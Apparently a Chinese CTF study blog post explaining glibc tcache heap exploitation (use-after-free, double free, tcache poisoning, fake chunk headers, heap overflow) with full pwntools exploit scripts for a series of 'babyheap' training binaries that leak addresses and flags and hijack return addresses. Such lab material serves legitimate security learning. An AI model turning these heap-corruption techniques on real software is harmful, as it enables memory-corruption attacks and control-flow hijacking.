1. tcache
tcachebin的大小在0x20~0x408之间。
1.1 uaf(use after free)
常用的 tcache uaf是指,分配一个内存A,由ptr指向;释放后ptr并没有置空;此时分配内存时再利用又分配了内存A,往其中写入机密信息;此时可皆由ptr来读出机密信息
from pwn import *
context.os = 'linux'
context.arch = 'amd64'
context.log_level = 'debug'
binary_path = "./babyheap_level2.1"
libc_path = "./libc.so.6"
p = process(binary_path)
def malloc(size):
p.recvuntil(b"[*] Function (malloc/free/puts/read_flag/quit): ")
p.sendline(b"malloc")
p.recvuntil(b"Size: ")
p.sendline(str(size).encode())
return
def free():
p.recvuntil(b"[*] Function (malloc/free/puts/read_flag/quit): ")
p.sendline(b"free")
return
def read_flag():
p.recvuntil(b"[*] Function (malloc/free/puts/read_flag/quit): ")
p.sendline(b"read_flag")
return
def puts():
p.recvuntil(b"[*] Function (malloc/free/puts/read_flag/quit): ")
p.sendline(b"puts")
return
read_flag()
p.recvuntil(b"[*] flag_buffer = ")
chunk_addr1 = int(p.recvline().strip(b"\n"),16)
log.success(f"chunk_size:{hex(chunk_addr1)}")
read_flag()
p.recvuntil(b"[*] flag_buffer = ")
chunk_addr2 = int(p.recvline().strip(b"\n"),16)
log.success(f"chunk_size:{hex(chunk_addr2)}")
chunk_size = chunk_addr2 - chunk_addr1 -0x10
malloc(chunk_size)
free()
read_flag()
puts()#uaf
p.interactive()
1.2 double free
tcache double free要想成功实施,首先需要有一个uaf漏洞,让你在释放内存A后,仍然可以往A写内容,改变其第8~16字节的值。
from pwn import *
context.log_level = 'debug'
context.os = 'linux'
context.arch = 'amd64'
binary_path = "./babyheap_level4.1"
libc_path = "./libc.so.6"
p = process(binary_path)
def malloc(size):
p.recvuntil(b"[*] Function (malloc/free/puts/scanf/read_flag/quit): ")
p.sendline(b"malloc")
p.recvuntil(b"Size: ")
p.sendline(str(size).encode())
return
def free():
p.recvuntil(b"[*] Function (malloc/free/puts/scanf/read_flag/quit): ")
p.sendline(b"free")
return
def read_flag():
p.recvuntil(b"[*] Function (malloc/free/puts/scanf/read_flag/quit): ")
p.sendline(b"read_flag")
return
def puts():
p.recvuntil(b"[*] Function (malloc/free/puts/scanf/read_flag/quit): ")
p.sendline(b"puts")
return
def scanf(string):
p.recvuntil(b"[*] Function (malloc/free/puts/scanf/read_flag/quit): ")
p.sendline(b"scanf")
# p.recvuntil(b"allocations")
p.sendline(string)
return
malloc(0x2FA)
free()
scanf(b"a"*16) # uaf
free() # double free
read_flag()
puts()
p.interactive()
1.3 tcache poisoning
tcache poisoning 的核心思想是 改变tcache bin中的链表结构,比如 a->b,修改后变为a->c
from pwn import *
context.log_level = 'debug'
context.os = 'linux'
context.arch = 'amd64'
binary_path = "./babyheap_level7.0"
libc_path = "./libc.so.6"
p = process(binary_path,env={"LD_PRELOAD":libc_path})
def malloc(idx,size):
p.recvuntil(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ")
p.sendline(b"malloc")
p.recvuntil(b"Index: ")
p.sendline(str(idx).encode())
p.recvuntil(b"Size: ")
p.sendline(str(size).encode())
return
def free(idx):
p.recvuntil(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ")
p.sendline(b"free")
p.recvuntil(b"Index: ")
p.sendline(str(idx).encode())
return
def puts(idx):
p.recvuntil(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ")
p.sendline(b"puts")
p.recvuntil(b"Index: ")
p.sendline(str(idx).encode())
return
def scanf(idx,content):
p.recvuntil(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ")
p.sendline(b"scanf")
p.recvuntil(b"Index: ")
p.sendline(str(idx).encode())
p.sendline(content)
return
def send_flag(secret):
p.recvuntil(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ")
p.sendline(b"send_flag")
p.recvuntil(b"Secret: ")
p.sendline(secret)
return
malloc(0,0x20)
malloc(1,0x20)
free(0)
free(1) # 1-> 0
scanf(1,p64(0x425A51)) # uaf to achieve tcache_poisoning, now 1 -> 0x425a51
malloc(2,0x20)
malloc(3,0x20)
puts(3)
p.recvuntil(b"Data: ")
secret = p.recv(8)
log.info(f"secret: {secret}")
send_flag(secret+b"\x00"*8) # malloc will cause chunk->key = 0
p.interactive()
1.3.1 whitespace armoring
如果你想要poison的最低字节地址中,有换行符、水平制表符等会隔绝scanf读入的值的话,可以考虑申请与你想申请的地址相近的其他地址绕过。
另外scanf(“%0s”,a)实际上等价于scanf(“%s”,a)
from pwn import *
context.log_level = 'debug'
context.os = 'linux'
context.arch = 'amd64'
binary_path = "./babyheap_level8.1"
libc_path = "./libc.so.6"
p = process(binary_path)
def malloc(idx,size):
p.recvuntil(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ")
p.sendline(b"malloc")
p.recvuntil(b"Index: ")
p.sendline(str(idx).encode())
p.recvuntil(b"Size: ")
p.sendline(str(size).encode())
return
def free(idx):
p.recvuntil(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ")
p.sendline(b"free")
p.recvuntil(b"Index: ")
p.sendline(str(idx).encode())
return
def puts(idx):
p.recvuntil(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ")
p.sendline(b"puts")
p.recvuntil(b"Index: ")
p.sendline(str(idx).encode())
return
def scanf(idx,content):
p.recvuntil(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ")
p.sendline(b"scanf")
p.recvuntil(b"Index: ")
p.sendline(str(idx).encode())
p.sendline(content)
return
def send_flag(secret):
p.recvuntil(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ")
p.sendline(b"send_flag")
p.recvuntil(b"Secret: ")
p.sendline(secret)
return
malloc(0,0x20)
malloc(1,0x20)
free(0)
free(1) # 1-> 0
scanf(1,p64(0x425808)) # uaf to achieve tcache_poisoning, now 1 -> 0x425808, but actually out destination is 0x42580a
malloc(2,0x20)
malloc(3,0x20)
scanf(3,b"a"*0x12) # overwrite values in chunk
puts(3)
p.recvuntil(b"Data: ")
send_flag(b"a"*0x10)
p.interactive()
1.3.2 分配的内存地址限制
如果你遇到了限制,分配的地址必须满足某个条件,导致你无法将内存分配到你想要的地址上
但是,你仍然可以通过tcache poisoning的方式,将你想要修改的地址上的内容,借助malloc清空key的机制,设置为0
from pwn import *
context.log_level = 'debug'
context.os = 'linux'
context.arch = 'amd64'
binary_path = "./babyheap_level9.1"
libc_path = "./libc.so.6"
p = process(binary_path)
def malloc(idx,size):
p.recvuntil(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ")
p.sendline(b"malloc")
p.recvuntil(b"Index: ")
p.sendline(str(idx).encode())
p.recvuntil(b"Size: ")
p.sendline(str(size).encode())
return
def free(idx):
p.recvuntil(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ")
p.sendline(b"free")
p.recvuntil(b"Index: ")
p.sendline(str(idx).encode())
return
def puts(idx):
p.recvuntil(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ")
p.sendline(b"puts")
p.recvuntil(b"Index: ")
p.sendline(str(idx).encode())
return
def scanf(idx,content):
p.recvuntil(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ")
p.sendline(b"scanf")
p.recvuntil(b"Index: ")
p.sendline(str(idx).encode())
p.sendline(content)
return
def send_flag(secret):
p.recvuntil(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ")
p.sendline(b"send_flag")
p.recvuntil(b"Secret: ")
p.sendline(secret)
return
malloc(0,0x20)
malloc(1,0x20)
malloc(2,0x20)
malloc(3,0x20)
free(0)
free(1) # 1-> 0
scanf(1,p64(0x428363)) # uaf to achieve tcache_poisoning, now 1 -> 0x428363
malloc(4,0x20)
malloc(5,0x20) # key(0x428363+0x8) = 0
free(2)
free(3) # 3-> 2
scanf(3,p64(0x428363-8)) # key(0x428363) = 0
malloc(6,0x20)
malloc(7,0x20)
send_flag(b"\x00"*0x10)
p.interactive()
1.3.3 已知程序基地址和stack地址,劫持控制流
核心思路是利用uaf,达成tcache poisoning,申请一块位于stack的堆块,修改程序的返回地址,达到劫持控制流的目的
from pwn import *
context.log_level = 'debug'
context.os = 'linux'
context.arch = 'amd64'
binary_path = "./babyheap_level10.0"
libc_path = "./libc.so.6"
p = process(binary_path)
def malloc(idx,size):
p.recvuntil(b"[*] Function (malloc/free/puts/scanf/quit): ")
p.sendline(b"malloc")
p.recvuntil(b"Index: ")
p.sendline(str(idx).encode())
p.recvuntil(b"Size: ")
p.sendline(str(size).encode())
return
def free(idx):
p.recvuntil(b"[*] Function (malloc/free/puts/scanf/quit): ")
p.sendline(b"free")
p.recvuntil(b"Index: ")
p.sendline(str(idx).encode())
return
def puts(idx):
p.recvuntil(b"[*] Function (malloc/free/puts/scanf/quit): ")
p.sendline(b"puts")
p.recvuntil(b"Index: ")
p.sendline(str(idx).encode())
return
def scanf(idx,content):
p.recvuntil(b"[*] Function (malloc/free/puts/scanf/quit): ")
p.sendline(b"scanf")
p.recvuntil(b"Index: ")
p.sendline(str(idx).encode())
p.sendline(content)
return
p.recvuntil(b"[LEAK] The local stack address of your allocations is at: ")
stack_address = int(p.recvline().strip(b".\n"),16)
log.info(f"stack_address: {hex(stack_address)}")
p.recvuntil(b"[LEAK] The address of main is at: ")
main_addr = int(p.recvline().strip(b".\n"),16)
log.info(f"main_addr: {hex(main_addr)}")
win_addr = main_addr -0x14FD + 0x1400
log.info(f"win_addr: {hex(win_addr)}")
alloc_addr = stack_address + 280 #pointer reference to where main return
malloc(0,0x20)
malloc(1,0x20)
free(0)
free(1) # 1-> 0
scanf(1,p64(alloc_addr))
malloc(2,0x20)
malloc(3,0x20) # get a chunk to main return
log.info(f"alloc_addr: {hex(alloc_addr)}")
scanf(3,p64(win_addr))
p.sendline(b"quit")
p.interactive()
1.3.4 利用fork函数调用echo的机制,泄露地址信息
通过fork函数调用echo命令时,会申请一个内存块,里面分别存放了程序地址,栈地址,堆地址(部分),可以借助uaf泄露地址,劫持栈地址完成利用
from pwn import *
context.log_level = 'debug'
context.os = 'linux'
context.arch = 'amd64'
binary_path = "./babyheap_level11.0"
libc_path = "./libc.so.6"
p = process(binary_path)
def malloc(idx,size):
p.recvuntil(b"[*] Function (malloc/free/echo/scanf/quit): ")
p.sendline(b"malloc")
p.recvuntil(b"Index: ")
p.sendline(str(idx).encode())
p.recvuntil(b"Size: ")
p.sendline(str(size).encode())
return
def free(idx):
p.recvuntil(b"[*] Function (malloc/free/echo/scanf/quit): ")
p.sendline(b"free")
p.recvuntil(b"Index: ")
p.sendline(str(idx).encode())
return
def echo(idx,offset):
p.recvuntil(b"[*] Function (malloc/free/echo/scanf/quit): ")
p.sendline(b"echo")
p.recvuntil(b"Index: ")
p.sendline(str(idx).encode())
p.recvuntil(b"Offset: ")
p.sendline(str(offset).encode())
return
def scanf(idx,content):
p.recvuntil(b"[*] Function (malloc/free/echo/scanf/quit): ")
p.sendline(b"scanf")
p.recvuntil(b"Index: ")
p.sendline(str(idx).encode())
p.sendline(content)
return
malloc(0,0x20)
# gdb.attach(p,"set follow-fork-mode parent\nb *$rebase(0x22DA)")
# pause()
echo(0,0x30)
p.recvuntil(b"Data: ")
program_base = u64(p.recvline().strip(b"\n").ljust(8,b"\x00")) - 0x33f8
log.success(f"program_base: {hex(program_base)}")
echo(0,0x38)
p.recvuntil(b"Data: ")
stack_addr = u64(p.recvline().strip(b"\n").ljust(8,b"\x00")) + 374
log.success(f"stack_addr: {hex(stack_addr)}")
echo(0,0x40)
p.recvuntil(b"Data: ")
heap_base = u64(p.recvline().strip(b"\n").ljust(8,b"\x00")) -0x2f0
log.success(f"heap_base: {hex(heap_base)}")
malloc(1,0x20)
malloc(2,0x20)
free(1)
free(2) # 2-> 1
scanf(2,p64(stack_addr)) # 2 -> stack
malloc(3,0x20)
malloc(4,0x20)
scanf(4,p64(program_base+0x1B00))
p.sendline(b"quit")
p.interactive()
1.3.5 伪造chunk头来malloc任意地址
前提条件:泄露地址的前提下,我们能够写我们想要分配的内存地址的前0x8字节,我们就能通过伪造chunk->size,完成free,并malloc该地址
from pwn import *
context.log_level = 'debug'
context.os = 'linux'
context.arch = 'amd64'
binary_path = "./babyheap_level14.0"
libc_path = "./libc.so.6"
p = process(binary_path)
def malloc(idx,size):
p.recvuntil(b"[*] Function (malloc/free/echo/scanf/stack_free/stack_scanf/quit): ")
p.sendline(b"malloc")
p.recvuntil(b"Index: ")
p.sendline(str(idx).encode())
p.recvuntil(b"Size: ")
p.sendline(str(size).encode())
return
def free(idx):
p.recvuntil(b"[*] Function (malloc/free/echo/scanf/stack_free/stack_scanf/quit): ")
p.sendline(b"free")
p.recvuntil(b"Index: ")
p.sendline(str(idx).encode())
return
def echo(idx,offset):
p.recvuntil(b"[*] Function (malloc/free/echo/scanf/stack_free/stack_scanf/quit): ")
p.sendline(b"echo")
p.recvuntil(b"Index: ")
p.sendline(str(idx).encode())
p.recvuntil(b"Offset: ")
p.sendline(str(offset).encode())
return
def scanf(idx,content):
p.recvuntil(b"[*] Function (malloc/free/echo/scanf/stack_free/stack_scanf/quit): ")
p.sendline(b"scanf")
p.recvuntil(b"Index: ")
p.sendline(str(idx).encode())
p.sendline(content)
return
def stack_free():
p.recvuntil(b"[*] Function (malloc/free/echo/scanf/stack_free/stack_scanf/quit): ")
p.sendline(b"stack_free")
return
def stack_scanf(content):
p.recvuntil(b"[*] Function (malloc/free/echo/scanf/stack_free/stack_scanf/quit): ")
p.sendline(b"stack_scanf")
p.sendline(content)
return
malloc(0,0x20)
# get program_base
echo(0,0x30)
p.recvuntil(b"Data: ")
program_base = u64(p.recvline().strip(b"\n").ljust(8,b"\x00")) - 0x33f8
# get heap_base
echo(0,0x40)
p.recvuntil(b"Data: ")
heap_base = u64(p.recvline().strip(b"\n").ljust(8,b"\x00")) -0x2f0
# get stack_addr
stack_scanf(b"a"*56+p64(0x100)) # construct a fake chunk in stack
stack_free()
malloc(1,0xf0)
echo(1,0x40)
p.recvuntil(b"Data: ")
stack_addr = u64(p.recvline().strip(b"\n").ljust(8,b"\x00")) - 0xe8
# gdb.attach(p,"set follow-fork-mode parent\nb *$rebase(0x2267)\n")
# pause()
# uaf -> tcache poisoning
malloc(2,0xf0)
malloc(3,0xf0)
free(2)
free(3) # 3->2
scanf(3,p64(stack_addr))
log.success(f"program_base: {hex(program_base)}")
log.success(f"heap_base: {hex(heap_base)}")
log.success(f"stack_addr: {hex(stack_addr)}")
win_addr = program_base + 0x1A22
malloc(4,0xf0)
malloc(5,0xf0)
scanf(5,p64(win_addr))
p.sendline(b"quit")
p.interactive()
1.3.6 heap overflow实现tcache poisoning
heap overflow,从上一个chunk A能够修改下一个chunk B的值,如果下一个chunk B处在free状态且next指针指向C,可以通过修改B的next指针,达成poisoning操作。
from pwn import *
context.log_level = 'debug'
context.os = 'linux'
context.arch = 'amd64'
binary_path = "./babyheap_level15.1"
libc_path = "./libc.so.6"
p = process(binary_path)
def malloc(idx,size):
p.recvuntil(b"[*] Function (malloc/free/echo/read/quit): ")
p.sendline(b"malloc")
p.recvuntil(b"Index: ")
p.sendline(str(idx).encode())
p.recvuntil(b"Size: ")
p.sendline(str(size).encode())
return
def free(idx):
p.recvuntil(b"[*] Function (malloc/free/echo/read/quit): ")
p.sendline(b"free")
p.recvuntil(b"Index: ")
p.sendline(str(idx).encode())
return
def echo(idx,offset):
p.recvuntil(b"[*] Function (malloc/free/echo/read/quit): ")
p.sendline(b"echo")
p.recvuntil(b"Index: ")
p.sendline(str(idx).encode())
p.recvuntil(b"Offset: ")
p.sendline(str(offset).encode())
return
def read(idx,size,content):
p.recvuntil(b"[*] Function (malloc/free/echo/read/quit): ")
p.sendline(b"read")
p.recvuntil(b"Index: ")
p.sendline(str(idx).encode())
p.recvuntil(b"Size: ")
p.sendline(str(size).encode())
sleep(0.1)
p.send(content)
return
# get program_base
malloc(0,0x20)
echo(0,0x30)
p.recvuntil(b"Data: ")
program_base = u64(p.recvline().strip(b"\n").ljust(8,b"\x00")) - 0x2110
# get stack_addr
echo(0,0x38)
p.recvuntil(b"Data: ")
stack_addr = u64(p.recvline().strip(b"\n").ljust(8,b"\x00")) + 0x176
# get heap_base
echo(0,0x40)
p.recvuntil(b"Data: ")
heap_base = u64(p.recvline().strip(b"\n").ljust(8,b"\x00")) -0x2d0
log.success(f"program_base: {hex(program_base)}")
log.success(f"heap_base: {hex(heap_base)}")
log.success(f"stack_addr: {hex(stack_addr)}")
# gdb.attach(p,"set follow-fork-mode parent\nb *$rebase(0x1B0A)\n")
# pause()
# heap_overflow -> tcache poisoning
malloc(1,0x20)
malloc(2,0x20)
malloc(3,0x20)
free(3)
free(2) # 2-> 3
read(1,0x38,b"\x00"*0x28+p64(0x31)+p64(stack_addr)) # heap_overflow change 2->next
malloc(4,0x20)
malloc(5,0x20)
win_addr = 0x1400 + program_base
read(5,0x8,p64(win_addr))
p.sendline(b"quit")
p.interactive()
Gitalk 加载中 ...